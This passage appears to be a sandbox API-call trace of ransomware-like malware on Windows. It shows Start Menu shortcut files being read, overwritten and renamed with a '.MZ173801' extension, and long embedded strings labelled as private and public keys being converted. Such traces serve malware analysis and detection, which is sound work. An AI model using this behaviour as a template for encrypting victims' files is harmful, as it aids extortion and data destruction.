lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0211.442] ReadFile (in: hFile=0x328, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x96d, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f74c*=0x96d, lpOverlapped=0x0) returned 1 [0211.444] CloseHandle (hObject=0x328) returned 1 [0211.444] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Outlook 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\outlook 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0211.446] WriteFile (in: hFile=0x328, lpBuffer=0x24baed0*, nNumberOfBytesToWrite=0x96d, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24baed0*, lpNumberOfBytesWritten=0x19f758*=0x96d, lpOverlapped=0x0) returned 1 [0211.447] CloseHandle (hObject=0x328) returned 1 [0211.447] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Outlook 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\outlook 2016.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Outlook 2016.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\outlook 2016.lnk.mz173801")) returned 1 [0211.448] GetCurrentThreadId () returned 0xab4 [0211.448] GetCurrentThreadId () returned 0xab4 [0211.448] GetCurrentThreadId () returned 0xab4 [0211.448] GetCurrentThreadId () returned 0xab4 [0211.448] GetCurrentThreadId () returned 0xab4 [0211.448] GetCurrentThreadId () returned 0xab4 [0211.448] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d935fc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d935fc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4d935fc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="PowerPoint 2016.lnk", cAlternateFileName="POWERP~1.LNK")) returned 1 [0211.448] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0211.448] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0211.448] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PowerPoint 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\powerpoint 2016.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d935fc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d935fc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4d935fc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x998)) returned 1 [0211.452] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PowerPoint 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\powerpoint 2016.lnk")) returned 0x20 [0211.452] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PowerPoint 2016.lnk", dwFileAttributes=0x80) returned 1 [0211.459] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0211.459] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0211.460] GetCurrentThreadId () returned 0xab4 [0211.460] GetCurrentThreadId () returned 0xab4 [0211.460] GetCurrentThreadId () returned 0xab4 [0211.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0211.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0211.461] GetCurrentThreadId () returned 0xab4 [0211.461] GetCurrentThreadId () returned 0xab4 [0211.461] GetCurrentThreadId () returned 0xab4 [0211.461] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PowerPoint 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\powerpoint 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0211.462] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0211.462] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0211.462] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x998 [0211.462] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0211.462] ReadFile (in: hFile=0x328, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x998, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f74c*=0x998, lpOverlapped=0x0) returned 1 [0211.477] CloseHandle (hObject=0x328) returned 1 [0211.477] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PowerPoint 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\powerpoint 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0211.478] WriteFile (in: hFile=0x328, lpBuffer=0x24baed0*, nNumberOfBytesToWrite=0x998, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24baed0*, lpNumberOfBytesWritten=0x19f758*=0x998, lpOverlapped=0x0) returned 1 [0211.479] CloseHandle (hObject=0x328) returned 1 [0211.480] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PowerPoint 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\powerpoint 2016.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PowerPoint 2016.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\powerpoint 2016.lnk.mz173801")) returned 1 [0211.480] GetCurrentThreadId () returned 0xab4 [0211.480] GetCurrentThreadId () returned 0xab4 [0211.480] GetCurrentThreadId () returned 0xab4 [0211.480] GetCurrentThreadId () returned 0xab4 [0211.480] GetCurrentThreadId () returned 0xab4 [0211.480] GetCurrentThreadId () returned 0xab4 [0211.481] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x25, ftCreationTime.dwLowDateTime=0x567be970, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x567be970, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x567be970, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x897, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="PrintDialog.lnk", cAlternateFileName="")) returned 1 [0211.481] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0211.481] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0211.481] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PrintDialog.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\printdialog.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x25, ftCreationTime.dwLowDateTime=0x567be970, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x567be970, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x567be970, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x897)) returned 1 [0211.490] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PrintDialog.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\printdialog.lnk")) returned 0x25 [0211.490] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PrintDialog.lnk", dwFileAttributes=0x80) returned 1 [0211.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCo